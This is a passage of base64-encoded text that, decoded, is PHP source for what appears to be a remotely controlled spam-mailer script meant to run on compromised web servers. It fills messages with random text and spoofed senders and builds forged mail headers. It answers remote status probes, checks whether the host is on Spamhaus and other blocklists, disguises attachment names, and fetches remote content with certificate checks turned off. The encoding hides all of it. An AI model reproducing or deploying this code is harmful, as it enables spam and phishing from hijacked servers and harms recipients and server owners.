xzZTsKICAgICAgICBmb3IoICRpX2xpbmsgPSAwOyAkaV9saW5rIDwgc2l6ZW9mKCAkcmVzdWx0OFsgMSBdICk7ICRpX2xpbmsrKyApIHsKICAgICAgICAgICAgaWYoICRyZXN1bHQ4WyAwIF1bICR1IF0gPT0gJHJhbmRtX2FycmF5WyAkaV9saW5rIF1bIDAgXSApIHsKICAgICAgICAgICAgICAgICRyYW5kID0gJHJhbmRtX2FycmF5WyAkaV9saW5rIF1bIDEgXTsKICAgICAgICAgICAgICAgICRmbGFnX3IgPSB0cnVlOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoICRmbGFnX3IgPT0gZmFsc2UgKSB7CiAgICAgICAgICAgICRyYW5kID0gJHJhbmRbIGFycmF5X3JhbmQoICRyYW5kICkgXTsKICAgICAgICAgICAgJHJhbmRtX2FycmF5W10gPSBhcnJheSgKICAgICAgICAgICAgICAgICRyZXN1bHQzWyAwIF1bICR1IF0sCiAgICAgICAgICAgICAgICAkcmFuZAogICAgICAgICAgICApOwogICAgICAgIH0KICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0OFsgMCBdWyAkdSBdLCAkcmFuZCwgJHRleHQgKTsKICAgICAgICAkdSsrOwogICAgfQoKCiAgICAvL1tyYW5kTQogICAgd2hpbGUoICRxIDwgc2l6ZW9mKCAkcmVzdWx0M1sgMSBdICkgKSB7CiAgICAgICAgJHJhbmQgPSBleHBsb2RlKCAnfCcsICRyZXN1bHQzWyAxIF1bICRxIF0gKTsKICAgICAgICAvLyRyYW5kPSRyYW5kW2FycmF5X3JhbmQoJHJhbmQpXTsKCiAgICAgICAgJGZsYWdfciA9IGZhbHNlOwogICAgICAgIGZvciggJGlfbGluayA9IDA7ICRpX2xpbmsgPCBzaXplb2YoICRyZXN1bHQzWyAxIF0gKTsgJGlfbGluaysrICkgewogICAgICAgICAgICBpZiggJHJlc3VsdDNbIDAgXVsgJHEgXSA9PSAkcmFuZG1fYXJyYXlbICRpX2xpbmsgXVsgMCBdICkgewogICAgICAgICAgICAgICAgJHJhbmQgPSAkcmFuZG1fYXJyYXlbICRpX2xpbmsgXVsgMSBdOwogICAgICAgICAgICAgICAgJGZsYWdfciA9IHRydWU7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZiggJGZsYWdfciA9PSBmYWxzZSApIHsKICAgICAgICAgICAgJHJhbmQgPSAkcmFuZFsgYXJyYXlfcmFuZCggJHJhbmQgKSBdOwogICAgICAgICAgICAkcmFuZG1fYXJyYXlbXSA9IGFycmF5KAogICAgICAgICAgICAgICAgJHJlc3VsdDNbIDAgXVsgJHEgXSwKICAgICAgICAgICAgICAgICRyYW5kCiAgICAgICAgICAgICk7CiAgICAgICAgfQoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0M1sgMCBdWyAkcSBdLCAkcmFuZCwgJHRleHQgKTsKICAgICAgICAkcSsrOwogICAgfQoKICAgIC8vIFt2YXI6CiAgICB3aGlsZSggJHcgPCBzaXplb2YoICRyZXN1bHQ0WyAxIF0gKSApIHsKICAgICAgICAkcmFuZCA9IGV4cGxvZGUoICd8JywgJHJlc3VsdDRbIDEgXVsgJHcgXSApOwogICAgICAgIGlmKCAhIGlzX251bWVyaWMoICRyYW5kWyAwIF0gKSBvciAhIGlzX251bWVyaWMoICRyYW5kWyAxIF0gKSApIHsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgICRyYW5kID0gcmFuZFN0cmluZyggJHJhbmRbIDAgXSwgJHJhbmRbIDEgXSApOwoKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlX29uY2UoICRyZXN1bHQ0WyAwIF1bICR3IF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICR3Kys7CiAgICB9CgogICAgd2hpbGUoICRlIDwgc2l6ZW9mKCAkcmVzdWx0NVsgMSBdICkgKSB7CiAgICAgICAgaWYoICEgaXNfbnVtZXJpYyggJHJlc3VsdDVbIDEgXVsgJGUgXSApICkgewogICAgICAgICAgICBjb250aW51ZTsKICAgICAgICB9CiAgICAgICAgLy9lY2hvICRyZXN1bHQ1WzBdWyRlXS4iIC0gIi4kZGF0YVskcmVzdWx0NVsxXVskZV1dLiI8YnI+IjsKICAgICAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAkcmVzdWx0NVsgMCBdWyAkZSBdLCAkZGF0YVsgJHJlc3VsdDVbIDEgXVsgJGUgXSBdLCAkdGV4dCApOwogICAgICAgICRlKys7CiAgICB9CgogICAgcHJlZ19tYXRjaF9hbGwoICcjXFtyYW5kOiguKz8pXF0jaXMnLCAkdGV4dCwgJHJlc3VsdCApOwogICAgJGMgPSAwOwoKICAgIHdoaWxlKCAkYyA8IHNpemVvZiggJHJlc3VsdFsgMSBdICkgKSB7CiAgICAgICAgJHJhbmQgPSBleHBsb2RlKCAnfCcsICRyZXN1bHRbIDEgXVsgJGMgXSApOwogICAgICAgICRyYW5kID0gJHJhbmRbIGFycmF5X3JhbmQoICRyYW5kICkgXTsKCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0WyAwIF1bICRjIF0sICRyYW5kLCAkdGV4dCApOwogICAgICAgICRjKys7CiAgICB9CgogICAgJHAgPSBzdHJwb3MoICR0ZXh0LCAnc3Bvb2Y6JyApOwogICAgaWYoICRwICE9IEZBTFNFICkgewogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICdbc3Bvb2Y6JywgJzonLCAkdGV4dCApOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICddJywgJycsICR0ZXh0ICk7CiAgICB9CgogICAgLy9iYXNlNjQKICAgICR0ZXh0ID0gc3RyX3JlcGxhY2UoICd7dmFyOn0nLCAne3ZhcjoxfScsICR0ZXh0ICk7CiAgICAkdGV4dCA9IHN0cl9yZXBsYWNlKCAne2VtYWlsOn0nLCB0cmltKCAkZGF0YVsgMCBdICksICR0ZXh0ICk7CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2Jhc2U2NDooLis/KVxdI2lzJywgJHRleHQsICRyZXN1bHQxMiApOwogICAgJGgyID0gMDsKICAgIHdoaWxlKCAkaDIgPCBzaXplb2YoICRyZXN1bHQxMlsgMSBdICkgKSB7CiAgICAgICAgJHJlc3VsdDEyX3RleHQgPSAkcmVzdWx0MTJbIDEgXVsgJGgyIF07CiAgICAgICAgLy97dmFyMX0KICAgICAgICBwcmVnX21hdGNoX2FsbCggJyNce3ZhcjooLis/KVx9I2lzJywgJHJlc3VsdDEyX3RleHQsICRyZXN1bHQxMl92YXIgKTsKICAgICAgICAkaDJfdmFyID0gMDsKICAgICAgICB3aGlsZSggJGgyX3ZhciA8IHNpemVvZiggJHJlc3VsdDEyX3ZhclsgMSBdICkgKSB7CiAgICAgICAgICAgIGlmKCBpc19udW1lcmljKCAkcmVzdWx0MTJfdmFyWyAxIF1bICRoMl92YXIgXSApICkgewogICAgICAgICAgICAgICAgJHJlc3VsdDEyX3RleHQgPSBzdHJfcmVwbGFjZV9vbmNlKAogICAgICAgICAgICAgICAgICAgICRyZXN1bHQxMl92YXJbIDAgXVsgJGgyX3ZhciBdLCAkZGF0YVsgJHJlc3VsdDEyX3ZhclsgMSBdWyAkaDJfdmFyIF0gXSwgJHJlc3VsdDEyX3RleHQKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGgyX3ZhcisrOwogICAgICAgIH0KCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0MTJbIDAgXVsgJGgyIF0sIGJhc2U2NF9lbmNvZGUoICRyZXN1bHQxMl90ZXh0ICksICR0ZXh0ICk7CgogICAgICAgICRoMisrOwogICAgfQoKCiAgICAvL2F0dGFjaGVtZW50CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2F0dGFjaG1lbnQ6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0OSApOwogICAgJGQgPSAwOwogICAgd2hpbGUoICRkIDwgc2l6ZW9mKCAkcmVzdWx0OVsgMSBdICkgKSB7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MCA9IGV4cGxvZGUoICc+Pj4nLCAkcmVzdWx0OVsgMSBdWyAkZCBdICk7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5W10gPSAkYXR0YWNoZW1lbnRfYXJyYXkwOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDlbIDAgXVsgJGQgXSwgIiIsICR0ZXh0ICk7CiAgICAgICAgJGQrKzsKICAgIH0KCgogICAgLy9hdHRhY2hlbWVudDIKICAgIHByZWdfbWF0Y2hfYWxsKCAnI1xbYXR0YWNobWVudE06KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MTAgKTsKICAgICRzID0gMDsKCiAgICB3aGlsZSggJHMgPCBzaXplb2YoICRyZXN1bHQxMFsgMSBdICkgKSB7CiAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MCA9IGV4cGxvZGUoICc+Pj4nLCAkcmVzdWx0MTBbIDEgXVsgJHMgXSApOwogICAgICAgIHByZWdfbWF0Y2hfYWxsKCAnI1woKC4rPylcKSNpcycsICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSwgJHJlc3VsdDExICk7CiAgICAgICAgJHMxID0gMDsKICAgICAgICB3aGlsZSggJHMxIDwgc2l6ZW9mKCAkcmVzdWx0MTFbIDEgXSApICkgewogICAgICAgICAgICAkYXR0YWNoZW1lbnRfYXJyYXkxID0gZXhwbG9kZSggJywnLCAkcmVzdWx0MTFbIDEgXVsgJHMxIF0gKTsKICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MV8gPSByYW5kKCBpbnR2YWwoICRhdHRhY2hlbWVudF9hcnJheTFbIDAgXSApLCBpbnR2YWwoICRhdHRhY2hlbWVudF9hcnJheTFbIDEgXSApIC0gMSApOwogICAgICAgICAgICAkYXR0YWNoZW1lbnRfYXJyYXkwWyAwIF0gPSBzdHJfcmVwbGFjZV9vbmNlKAogICAgICAgICAgICAgICAgJHJlc3VsdDExWyAxIF1bICRzMSBdLCAkYXR0YWNoZW1lbnRfYXJyYXkxXywgJGF0dGFjaGVtZW50X2FycmF5MFsgMCBdCiAgICAgICAgICAgICk7CiAgICAgICAgICAgICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSA9IHN0cl9yZXBsYWNlKCAnKCcsICcnLCAkYXR0YWNoZW1lbnRfYXJyYXkwWyAwIF0gKTsKICAgICAgICAgICAgJGF0dGFjaGVtZW50X2FycmF5MFsgMCBdID0gc3RyX3JlcGxhY2UoICcpJywgJycsICRhdHRhY2hlbWVudF9hcnJheTBbIDAgXSApOwogICAgICAgICAgICAkczErKzsKICAgICAgICB9CgogICAgICAgICRhdHRhY2hlbWVudF9hcnJheVtdID0gJGF0dGFjaGVtZW50X2FycmF5MDsKCiAgICAgICAgJHRleHQgPSBzdHJfcmVwbGFjZV9vbmNlKCAkcmVzdWx0MTBbIDAgXVsgJHMgXSwgIiIsICR0ZXh0ICk7CiAgICAgICAgJHMrKzsKICAgIH0KCiAgICAvL2ltYWdlNjQKICAgIC8vaHR0cHM6Ly9zdGFja292ZXJmbG93LmNvbS9xdWVzdGlvbnMvMzI3OTUyMy9iYXNlNjQtaW1hZ2VzLXRvLWdtYWlsLzEyNzg2MzM2IzEyNzg2MzM2CiAgICBwcmVnX21hdGNoX2FsbCggJyNcW2ltYWdlNjQ6KC4rPylcXSNpcycsICR0ZXh0LCAkcmVzdWx0MTMgKTsKICAgICRkMiA9IDA7CiAgICAkaW1hZ2U2NF9maWxlID0gJ2ltYWdlNjRfZmlsZS5wbmcnOwogICAgJGltYWdlNjRfZmlsZV8gPSAnJzsKICAgIHdoaWxlKCAkZDIgPCBzaXplb2YoICRyZXN1bHQxM1sgMSBdICkgKSB7CiAgICAgICAgZmlsZV9wdXRfY29udGVudHMoICRpbWFnZTY0X2ZpbGUsIGZpbGVfZ2V0X2NvbnRlbnRzKCAkcmVzdWx0MTNbIDEgXVsgJGQyIF0gKSApOwogICAgICAgICRmcCA9IGZvcGVuKCAkaW1hZ2U2NF9maWxlLCAiciIgKTsKICAgICAgICBpZiggJGZwICkgewogICAgICAgICAgICAkaW1hZ2U2NF9maWxlXyA9IGZyZWFkKCAkZnAsIGZpbGVzaXplKCAkaW1hZ2U2NF9maWxlICkgKTsKICAgICAgICB9CiAgICAgICAgZmNsb3NlKCAkZnAgKTsKICAgICAgICAvL2VjaG8gImZpbGU6ICIuJGltYWdlNjRfZmlsZV87CiAgICAgICAgJHJlc3VsdDEzX3RleHQgPSAnZGF0YTonIC4gbWltZV9jb250ZW50X3R5cGUoICRpbWFnZTY0X2ZpbGUgKSAuICc7YmFzZTY0LCcgLiBjaHVua19zcGxpdCgKICAgICAgICAgICAgICAgIGJhc2U2NF9lbmNvZGUoICRpbWFnZTY0X2ZpbGVfICkKICAgICAgICAgICAgKSAuICcnOwogICAgICAgICR0ZXh0ID0gc3RyX3JlcGxhY2Vfb25jZSggJHJlc3VsdDEzWyAwIF1bICRkMiBdLCAkcmVzdWx0MTNfdGV4dCwgJHRleHQgKTsKICAgICAgICB1bmxpbmsoICRpbWFnZTY0X2ZpbGUgKTsKICAgICAgICAkZDIrKzsKICAgIH0KCiAgICByZXR1cm4gJHRleHQ7Cn0KCmZ1bmN0aW9uIEdldEhlYWRlcnMoICRmcm9tbmFtZSwgJGZyb21tYWlsLCAkcmVwbHl0byA9IG51bGwgKQp7CiAgICBnbG9iYWwgJGVuY29kaW5nOwoKICAgIGlmKCBpc19udWxsKCAkcmVwbHl0byApICkgewogICAgICAgICRyZXBseXRvID0gJGZyb21tYWlsOwogICAgfQogICAgaWYoICRlbmNvZGluZyA9PSAnVVRGLTgnICkgewogICAgICAgICRoZWFkZXJzID0gIkZyb206ID0/VVRGLTg/Qj8iIC4gYmFzZTY0X2VuY29kZSggJGZyb21uYW1lICkgLiAiPz0gPCIgLiAkZnJvbW1haWwgLiAiPiIgLiAiXHJcbiI7CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkaGVhZGVycyA9ICJGcm9tOiA9PyRlbmNvZGluZz9CPyIgLiBiYXNlNjRfZW5jb2RlKAogICAgICAgICAgICAgICAgaWNvbnYoICdVVEYtOCcsICRlbmNvZGluZywgJGZyb21uYW1lICkKICAgICAgICAgICAgKSAuICI/PSA8IiAuICRmcm9tbWFpbCAuICI+IiAuICJcclxuIjsKICAgIH0KICAgICRoZWFkZXJzIC49ICJSZXBseS1UbzogIiAuICRyZXBseXRvIC4gIlxyXG4iOwogICAgJGhlYWRlcnMgLj0gIlgtTWFpbGVyOiAiIC4gc3RydG91cHBlciggcmFuZFRleHQoKSApIC4gIlxyXG4iOwogICAgJGhlYWRlcnMgLj0gIk1JTUUtVmVyc2lvbjogMS4wIiAuICJcclxuIjsKCiAgICByZXR1cm4gJGhlYWRlcnM7Cn0KCi8vIENoZWNrIGZvciBmdW5jdGlvbl9leGlzdHMoJ21haWwnKQpmdW5jdGlvbiBDaGVjaygpCnsKICAgICRjcmxmID0gIlxyXG4iOwoKICAgIGlmKCBpc3NldCggJF9SRVFVRVNUWyAnc3QnIF0gKSA9PT0gdHJ1ZSApIHsKICAgICAgICBwcmludCAnKnZhbGlkOm9rKicgLiAkY3JsZjsKICAgIH0KICAgIGlmKCBpc3NldCggJF9SRVFVRVNUWyAnbScgXSApID09PSB0cnVlICkgewogICAgICAgIGlmKCBmdW5jdGlvbl9leGlzdHMoICdtYWlsJyApICkgewogICAgICAgICAgICAkZXggPSBleHBsb2RlKCAnOicsICRfUkVRVUVTVFsgJ20nIF0gKTsKICAgICAgICAgICAgJGVtYWlsID0gJGV4WyAwIF07CgogICAgICAgICAgICBpZiggQ2hlY2tNYWlsKCAkZW1haWwgKSApIHsKICAgICAgICAgICAgICAgIHByaW50ICcqbWFpbDpvayonIC4gJGNybGY7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBwcmludCAnKm1haWw6YmFkKicgLiAkY3JsZjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgcHJpbnQgJyptYWlsOmJhZConIC4gJGNybGY7CiAgICAgICAgfQogICAgfQogICAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbICdyYicgXSApID09PSB0cnVlICkgewogICAgICAgICRyYmwgPSBDaGVja1JCTCgpOwogICAgICAgIGlmKCAkcmJsID09ICcnICkgewogICAgICAgICAgICBwcmludCAnKnJibDpvayonOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgcHJpbnQgJypyYmw6JyAuICRyYmwgLiAnKic7CiAgICAgICAgfQogICAgfQp9CgpmdW5jdGlvbiByYW5kU3RyaW5nKCAkbWluLCAkbWF4ICkKewogICAgJHN0ciA9ICdxd2VydHl1aW9wYXNkZmdoamtsenhjdmJubSc7CiAgICAkc2l6ZSA9IHJhbmQoICRtaW4sICRtYXggKTsKICAgICRyZXN1bHQgPSAnJzsKCiAgICBmb3IoICRjID0gMDsgJGMgPCAkc2l6ZTsgJGMrKyApIHsKICAgICAgICAkcmVzdWx0IC49ICRzdHJbIHJhbmQoIDAsIHN0cmxlbiggJHN0ciApIC0gMSApIF07CiAgICB9CiAgICByZXR1cm4gJHJlc3VsdDsKfQoKZnVuY3Rpb24gQ2hlY2tSQkwoKQp7CiAgICAkZG5zYmxfY2hlY2sgPSBhcnJheSgKICAgICAgICAnYi5iYXJyYWN1ZGFjZW50cmFsLm9yZycsCiAgICAgICAgJ3hibC5zcGFtaGF1cy5vcmcnLAogICAgICAgICdzYmwuc3BhbWhhdXMub3JnJywKICAgICAgICAnemVuLnNwYW1oYXVzLm9yZycsCiAgICAgICAgJ2JsLnNwYW1jb3AubmV0JwogICAgKTsKICAgICRpcCA9IGdldGhvc3RieW5hbWUoICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdICk7CiAgICAkcmVzdWx0ID0gJyc7CgogICAgaWYoICRpcCApIHsKICAgICAgICAkcmlwID0gaW1wbG9kZSggJy4nLCBhcnJheV9yZXZlcnNlKCBleHBsb2RlKCAnLicsICRpcCApICkgKTsKICAgICAgICBmb3JlYWNoKCAkZG5zYmxfY2hlY2sgYXMgJHZhbCApIHsKICAgICAgICAgICAgaWYoIGNoZWNrZG5zcnIoICRyaXAgLiAnLicgLiAkdmFsIC4gJy4nLCAnQScgKSApIHsKICAgICAgICAgICAgICAgICRyZXN1bHQgLj0gJHZhbCAuICcsICc7CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICAgICAgaWYoIHN0cmxlbiggJHJlc3VsdCApID4gMiApIHsKICAgICAgICAgICAgcmV0dXJuIHN1YnN0ciggJHJlc3VsdCwgMCwgLTIgKTsKICAgICAgICB9CiAgICAgICAgZWxzZSB7CiAgICAgICAgICAgIHJldHVybiAnJzsKICAgICAgICB9CiAgICB9CiAgICBlbHNlIHsKICAgICAgICByZXR1cm4gJypyYmw6dW5rbm93bionOwogICAgfQogICAgcmV0dXJuICcnOwp9CgovLyBDaGVjayBtYWlsIHdpdGggcmFuZG9tIHRleHQKZnVuY3Rpb24gQ2hlY2tNYWlsKCAkdG8gKQp7CiAgICAkaGVhZGVycyA9IEdldEhlYWRlcnMoIHJhbmRUZXh0KCksIHJhbmRUZXh0KCkgLiAnQCcgLiAkX1NFUlZFUlsgJ0hUVFBfSE9TVCcgXSApOwogICAgLy8kaGVhZGVyID0gJ0Zyb206ICcgLiAnPT91dGYtOD9CPycgLiBiYXNlNjRfZW5jb2RlKHJhbmRUZXh0KCkpIC4gJz89JyAuICcgPCcgLiAkZnJvbV9uYW1lIC4gJ0AnIC4gJF9TRVJWRVJbJ0hUVFBfSE9TVCddIC4gIj5cclxuIjsKICAgICRoZWFkZXJzIC49ICdDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOCcgLiAiXHJcbiI7CiAgICAkaGVhZGVycyAuPSAnQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogYmFzZTY0JyAuICJcclxuIjsKCiAgICAkbWVzc2FnZSA9IGNodW5rX3NwbGl0KCBiYXNlNjRfZW5jb2RlKCB0YmZ5RlVja2dudmpodmdqa00oKSApICk7CiAgICAkc3ViamVjdCA9ICRfU0VSVkVSWyAnSFRUUF9IT1NUJyBdOwoKICAgIGlmKCBtYWlsKCAkdG8sICRzdWJqZWN0LCAkbWVzc2FnZSwgJGhlYWRlcnMgKSApIHsKICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KICAgIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gY3V0X3RhZ3MoICRtZXNzYWdlICkKewogICAgJG1lc3NhZ2UxID0gdHJpbSggc3RyaXBfdGFncyggJG1lc3NhZ2UsICc8YT4nICkgKTsKICAgICRmaW5kX2EgPSBUcnVlOwogICAgJG1lc3NhZ2UxXyA9IGFycmF5KCk7CiAgICAkZmluZF9hX2kgPSBhcnJheSgpOwogICAgJGZpbmRfYV9pWyAwIF0gPSAwOwogICAgd2hpbGUoICRmaW5kX2EgPT0gVHJ1ZSApIHsKICAgICAgICAkZmluZF9hX2lbIDAgXSA9IHN0cnBvcyggJG1lc3NhZ2UxLCAnPGEnLCAkZmluZF9hX2lbIDAgXSApOwogICAgICAgIGlmKCAkZmluZF9hX2lbIDAgXSAhPSBGYWxzZSApIHsKICAgICAgICAgICAgJGZpbmRfYV9pWyAxIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJ2hyZWYnLCAkZmluZF9hX2lbIDAgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAxIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJyInLCAkZmluZF9hX2lbIDEgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAyIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJyInLCAkZmluZF9hX2lbIDEgXSArIDEgKTsKICAgICAgICAgICAgJGZpbmRfYV9pWyAzIF0gPSBzdHJwb3MoICRtZXNzYWdlMSwgJzwvJywgJGZpbmRfYV9pWyAyIF0gKyAxICk7CiAgICAgICAgICAgICRmaW5kX2FfaVsgMyBdID0gc3RycG9zKCAkbWVzc2FnZTEsICc+JywgJGZpbmRfYV9pWyAzIF0gKyAxICk7CiAgICAgICAgICAgICRmaW5kX2FfaVsgNCBdID0gc3RybGVuKCAkbWVzc2FnZTEgKSAtIDE7CiAgICAgICAgICAgICRtZXNzYWdlMV9bIDAgXSA9IHN1YnN0ciggJG1lc3NhZ2UxLCAwLCAkZmluZF9hX2lbIDAgXSApOwogICAgICAgICAgICAkbWVzc2FnZTFfWyAxIF0gPSBzdWJzdHIoICRtZXNzYWdlMSwgJGZpbmRfYV9pWyAxIF0gKyAxLCAkZmluZF9hX2lbIDIgXSAtICRmaW5kX2FfaVsgMSBdIC0gMSApOwogICAgICAgICAgICAkbWVzc2FnZTFfWyAyIF0gPSBzdWJzdHIoICRtZXNzYWdlMSwgJGZpbmRfYV9pWyAzIF0gKyAxLCAkZmluZF9hX2lbIDQgXSAtICRmaW5kX2FfaVsgMyBdICsgMSApOwogICAgICAgICAgICAkbWVzc2FnZTEgPSAkbWVzc2FnZTFfWyAwIF0gLiAkbWVzc2FnZTFfWyAxIF0gLiAkbWVzc2FnZTFfWyAyIF07CiAgICAgICAgfQogICAgICAgIGVsc2UgewogICAgICAgICAgICAkZmluZF9hID0gRmFsc2U7CiAgICAgICAgfQogICAgfQogICAgcmV0dXJuICRtZXNzYWdlMTsKfQoKZnVuY3Rpb24gc3RyX3JlcGxhY2Vfb25jZSggJHNlYXJjaCwgJHJlcGxhY2UsICR0ZXh0ICkKewogICAgJHBvcyA9IHN0cnBvcyggJHRleHQsICRzZWFyY2ggKTsKICAgIHJldHVybiAkcG9zICE9PSBmYWxzZSA/IHN1YnN0cl9yZXBsYWNlKCAkdGV4dCwgJHJlcGxhY2UsICRwb3MsIHN0cmxlbiggJHNlYXJjaCApICkgOiAkdGV4dDsKfQoKZnVuY3Rpb24gR2V0RmlsZW5hbWUoICRuYW1lICkKewogICAgJGZvcm1hdCA9IGVuZCggZXhwbG9kZSggJy4nLCAkbmFtZSApICk7CiAgICAkYXJyYXlbXSA9ICdTREMnOwogICAgJGFycmF5W10gPSAnUCc7CiAgICAkYXJyYXlbXSA9ICdEQyc7CiAgICAkYXJyYXlbXSA9ICdDQU0nOwogICAgJGFycmF5W10gPSAnSU1HLSc7CiAgICAkaW1nID0gYXJyYXkoCiAgICAgICAgJ3BuZycsCiAgICAgICAgJ2pwZycsCiAgICAgICAgJ2dpZicsCiAgICAgICAgJ2pwZWcnLAogICAgICAgICdibXAnCiAgICApOwoKICAgIGZvciggJGMgPSAwLCAkbWF4ID0gc2l6ZW9mKCAkaW1nICk7ICRjIDwgJG1heDsgJGMrKyApIHsKICAgICAgICBpZiggc3RydG9sb3dlciggJGZvcm1hdCApID09ICRpbWdbICRjIF0gKSB7CiAgICAgICAgICAgICRyYW5kID0gcmFuZCggMTAsIDk5OTk5OSApOwogICAgICAgICAgICByZXR1cm4gJGFycmF5WyByYW5kKCAwLCA0ICkgXSAuICRyYW5kIC4gJy4nIC4gJGZvcm1hdDsKICAgICAgICB9CiAgICB9CiAgICByZXR1cm4gcmFuZFRleHQoKSAuICcuJyAuICRmb3JtYXQ7Cn0KCmZ1bmN0aW9uIERvd25sb2FkU291cmNlKCAkdXJsICkKewoKICAgICRyZXNwID0gJyc7CgogICAgaWYoIGlzX2NhbGxhYmxlKCAnY3VybF9pbml0JyApICkgewoKICAgICAgICAkY2ggPSBjdXJsX2luaXQoICR1cmwgKTsKCiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiwgZmFsc2UgKTsKICAgICAgICBjdXJsX3NldG9wdCggJGNoLCBDVVJMT1BUX1NTTF9WRVJJRllIT1NULCAyICk7CiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSApOwogICAgICAgIGN1cmxfc2V0b3B0KCAkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEgKTsKICAgICAgICBjdXJsX3NldG9wdCggJGNoLCBDVVJMT1BUX0hFQURFUiwgMCApOwogICAgICAgIGN1cmxfc2V0b3B0KCAkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwICk7CiAgICAgICAgY3VybF9zZXRvcHQoICRjaCwgQ1VSTE9QVF9USU1FT1VULCAxMCApOwoKICAgICAgICAkcmVzcCA9IGN1cmxfZXhlYyggJGNoICk7CiAgICAgICAgJGhlYWRlciA9IGN1cmxfZ2V0aW5mbyggJGNoICk7CgogICAgICAgIGN1cmxfY2xvc2UoICRjaCApOwoKICAgICAgICBpZiggJGhlYWRlclsgJ2h0dHBfY29kZScgXSAhPSAyMDAgKSB7CiAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICB9CiAgICB9CiAgICBlbHNlIHsKICAgICAgICAkdXJsX3BhcnNlZCA9IHBhcnNlX3VybCggJHVybCApOwogICAgICAgICRzc2wgPSAoICR1cmxfcGFyc2VkWyAnc2NoZW1lJyBdID09ICdodHRwcycgKTsKCiAgICAgICAgJGNvbnRleHQgPSBzdHJlYW1fY29udGV4dF9jcmVhdGUoIFsKICAgICAgICAgICAgJ3NzbCcgPT4gWwogICAgICAgICAgICAgICAgJ3ZlcmlmeV9wZWVyJyA9PiBmYWxzZSwKICAgICAgICAgICAgICAgICd2ZXJpZnlfcGVlcl9uYW1lJyA9PiBmYWxzZQogICAgICAgICAgICBdCiAgICAgICAgXSApOwoKICAgICAgICAkcmVzdWx0SG9zdCA9ICggJHNzbCA/ICdzc2w6Ly8nIDogJycgKSAuICR1cmxfcGFyc2VkWyAnaG9zdCcgXTsKCiAgICAgICAgaWYoICR1cmxfcGFyc2VkWyAncG9ydCcgXSApIHsKICAgICAgICAgICAgJHJlc3VsdEhvc3QgLj0gIjoiIC4gJHVybF9wYXJzZWRbICdwb3J0JyBdOwogICAgICAgIH0KICAgICAgICBlbHNlIHsKICAgICAgICAgICAgJHJlc3VsdEhvc3QgLj0gKCAkc3NsICkgPyAiOiIgLiA0NDMgOiAiOiIgLiA4MDsKICAgICAgICB9CgogICAgICAgICRzb2NrZXQgPSBzdHJlYW1fc29ja2V0X2NsaWVudCggJHJlc3VsdEhvc3QsICRlcnJubywgJGVyck1zZywgMTUsIFNUUkVBTV9DTElFTlRfQ09OTkVDVCwgJGNvbnRleHQgKTsKCiAgICAgICAgaWYoICRzb2NrZXQgKSB7CgogICAgICAgICAgICBmcHV0cyggJHNvY2tldCwgIkdFVCAiIC4gJHVybF9wYXJzZWRbICdwYXRoJyBdIC4gIiBIVFRQLzEuMFxyXG4iICk7CiAgICAgICAgICAgIGZwdXRzKCAkc29ja2V0LCAiSG9zdDogIiAuICR1cmxfcGFyc2VkWyAnaG9zdCcgXSAuICJcclxuIiApOwogICAgICAgICAgICBmcHV0cyggJHNvY2tldCwgIkNvbm5lY3Rpb246IGNsb3NlXHJcblxyXG4iICk7CgogICAgICAgICAgICAkciA9IDA7CiAgICAgICAgICAgIHdoaWxlKCAhIGZlb2YoICRzb2NrZXQgKSApIHsKICAgICAgICAgICAgICAgICRiID0gZmdldHMoICRzb2N